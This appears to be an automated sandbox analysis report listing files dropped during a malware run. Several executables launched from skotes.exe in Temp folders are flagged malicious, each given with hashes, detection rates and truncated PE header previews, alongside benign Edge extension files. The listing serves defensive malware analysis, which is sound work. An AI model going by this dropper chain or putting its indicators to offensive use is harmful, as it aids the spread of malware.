SHA-512:	93BC818782F2C250996BB884A2700719875C5818233B0125719249DE35B86E130A0827FC97BF8771EB5D23006111520C9AFC35C9F91C4208668AD8EDE7C35C87
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....9g...............(..H...g..2............H...@..................................B...@... ............................._pe.s................................................................................................................... . .Pe......l'.................@....rsrc .....`e......\|'.............@....idata .....pe......\|'.............@... ..7...e......~'.............@...cqumvlma. ...p........'.............@...yyikkzmn..............B.............@....taggant.0......."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	7.947878303374477
Encrypted:	false
SSDEEP:	49152:BiTxme3GBqpXqwwYpzTCgPim1j81BYJR:DeMqpVwIzTrdgbGR
MD5:	EA82A77AEE044C4ED6569062542CF1BC
SHA1:	6358392B6D512DF6D325A179E612CA695726C4CA
SHA-256:	7C23F62E1045C5458F8F72891D71A65D39D20D5CBD596F6FB060C045FA5B4782
SHA-512:	B91F38D0BBE8EF1B1770B89BC2F9510139F6261975A9866A840283A69FCC46CC02912B931D3474BC2C156184AC8C02D463BFA7497C4F4C45B574E8311080DD91
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D............I...........@..........................0I.....2.....@.................................\...p................................................................................................................... . .........x..................@....rsrc ............................@....idata ............................@... ..).........................@...drhtdnen.P..../..N..................@...ddnzvcgm......H.....................@....taggant.0....I.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1808384
Entropy (8bit):	7.946239211906218
Encrypted:	false
SSDEEP:	49152:zgSP9rrtmx/nGcFiYQefhoMHud3L55ns5f:Tprta/nHiYXfhoMHu5ns5f
MD5:	3C1FC0E5501A732F21671110D1593FED
SHA1:	DF8457EE8030C34112DF1216A8457DE65C80D122
SHA-256:	A92119CB350ECB1278481B42DFD550CDFDEBC144C39B83F291EE7DEB91C23D87
SHA-512:	6A7AE4C0BFE6D83CFA161995BD9587EEE86B311729C5AD748B91C035BF03748D521EBA54343E258E6BB8DE32FF09ECB05CC92B6936DEA192ECA4EB8B6E8F97E2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................".......@i...........@..........................pi...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .p*...$......v..............@...pjkvfjuj.....0O......x..............@...cssxusxa.....0i......r..............@....taggant.0...@i.."...v..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922112
Entropy (8bit):	6.591222953577305
Encrypted:	false
SSDEEP:	12288:LqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgaOTtw:LqDEvCTbMWu7rQYlBQcBiT6rprG8a2W
MD5:	6A0A0A32221DA964DE818524D7423BBE
SHA1:	9EF28B63100295D04C34E03B8A3352500BF99310
SHA-256:	1AA99E574635E620DD6EC508E1CEC42B3F5762110A550F1C52EE1BEE3250F71E
SHA-512:	0C13145C7F7B5515E8708D8B746826EE35257654A201FE3D0EB9D65AAF0EBFFDA7232BD238ED9F5E768329EA21DB1DCA5B011F43BB0FCF53948A3387DFF5A8E9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....Y:g.........."..........b......w.............@..........................p.......E....@...@.......@.....................d...\|....@..p........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...p....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2764288
Entropy (8bit):	6.467060991483345
Encrypted:	false
SSDEEP:	49152:QxyD+e1C3B3mNApFUgulkUDPdoa8aMwhVh8g09kYN:QxyDhE3AApFUV1eLH4zkz
MD5:	2FFEAE42AA3821BE91B12932C1F311B0
SHA1:	0955F233082E9FCE22C627D00FA6C714C627AD5B
SHA-256:	C4DBBA7A9953E2F7C86DBCAE9ED8B5252379F492A82FFCAE5AB441A58A401026
SHA-512:	D81AA3830F10394CDE7BC2CCE8ED7AB23F62B258CC523BF5F896AA4CFA14CE6010BD94CE4D2DF70CBFC784AE503A113C860EFB287470BD1C9C38DBDCCE8C1913
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ..............................0...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...xwjardvp..).......)..:..............@...dtfdxtnz. ........................@....taggant.@......"....*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2dbce505-2a35-49bb-84ad-c28d29d7c0d9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\4067563d-1c0c-4604-bc2d-2cfc3ca627d7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\8231c494-d21c-4ea3-8297-1eb054bcdc92.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\9abc29c3-ea80-456b-b7a0-2986cccc8288.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsCGDHIEGCFH.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1901568
Entropy (8bit):	7.950387227547049
Encrypted:	false
SSDEEP:	24576:hLlzK5rxpCMVlsyMIoUxmuEg2sF4Np+ytm4n2In3FdcAyYVVL8HcdFGto8Pbwwwi:hLQ5S2Dzo/QesPmbcAVLc6F49zYd+Xj
MD5:	0666D4775F770D43FA3CF484008B6D93
SHA1:	787D16FE61592CBBD321D55E7EF52664267B5A08
SHA-256:	C4E3B29AE305FBD372D763A1BBAF7573732DC10AE08F7D60D721D473B737893E
SHA-512:	FBC23E5440B1AA2BA06F7EABE24E37EFB46499746FD3D2564BA9B63AE27DA3A4B4BB77FDFC3A38B16B27E835D3531E4259FC6A5799ECAAEA95823AE3C1339F13
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................K...........@.................................W...k.......H...................,sK..............................rK..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..*.........................@...nmkptigd......1.....................@...sphqvbak......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\c503d9f2-f7e3-45f1-b989-fe78c41c0666.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.410733705584842
Encrypted:	false
SSDEEP:	24:YK0bl5r75riCe0qW+5Ua02EHP5IKL0jZ5JwbX/B+L01oe9x5LMi085f5M:YK0bl5r75riN0qW+5Ua02sP5IKL0jZ5p
MD5:	A6D487F6936EA314893DED32E4461F43
SHA1:	F36B00FD0D451520DC1F24F9B54B0D47847126F7
SHA-256:	173EC32B4BEB38AA1BB5FF6C3279D31C3FD2FFB30360F4981AE3E419AA42A21F
SHA-512:	CC52FDF73A08BC2CCE805D7B7AB35740C6632D768005FDAFF6F3EE910B0FD9E582D9F50759C91AF29A52DDA41B962E3D81EF112B73562CD13EC36CDE2D9758D6
Malicious:	false
Preview:	{"logTime": "1005/074019", "correlationVector":"Jzai6BfByv5amZ45/NBe5r","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"eO8FwRQNRwFtIUhPNa0yBN","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"DFCC0B139A2547CAA3433B33892C7FE6","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075031", "correlationVector":"bWXPYvVSVVANvrGBV6dHxn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075032", "correlationVector":"4CD8E3A1D096444AAB77DA6A690C4356","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075123", "correlationVector":"t3DmiSvoNTibe+/mLDIMfl","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075124", "correlationVector":"B2B504519464422FA5C6E610072CF270","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075313", "correlationVector":"/q9eTq3f/ZawbQrLDVWKju","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075314", "correlationVector":"138D0C7D

C:\Users\user\AppData\Local\Temp\f0d74193-bf73-42c7-9bdd-00aca1124309.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\f42a0d90-2f39-4eb5-9373-3a20a4aee7bd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1514029
Entropy (8bit):	7.992401209971143
Encrypted:	true
SSDEEP:	24576:MBOet7w4GGPqgBFvsCf5kjewofIH8qrx5REwxpRHtpBnGKWFf3LNayxGx4aSfbIC:ot7wLaPb0CfWdof/qrx5RlDRRnI97cyh
MD5:	9B16302021D7DFE375F756BC2D216852
SHA1:	87BE1368340A8C34E520CF7CCF668E45FB91B0BE
SHA-256:	0ECE489748B52A5966E4EBDB96E3C256293626B4FBAF4C5CF9D3AE7BE5A13C34
SHA-512:	30B9F770DC5BD1818ECB8A8EE7A7045B6CE631A78968030D995F5FC4C6D8D1611F31AFABD7C48FEFB9056185812A89AC066727F79A8E694ADDA0CBC3DA4C88E1
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...qiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628" xmpMM:DocumentID="xmp.did:91EA24D7191011E5B1FF9488C51C29D1" xmpMM:InstanceID="xmp.iid:91EA24D6191011E5B1FF9488C51C29D1" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6a6b844a-8117-4c4c-9b2f-30d3769ed7c7" stRef:documentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^.i.....IDATx.bb .0..;./..;@...A.P9F...y

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\2dbce505-2a35-49bb-84ad-c28d29d7c0d9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
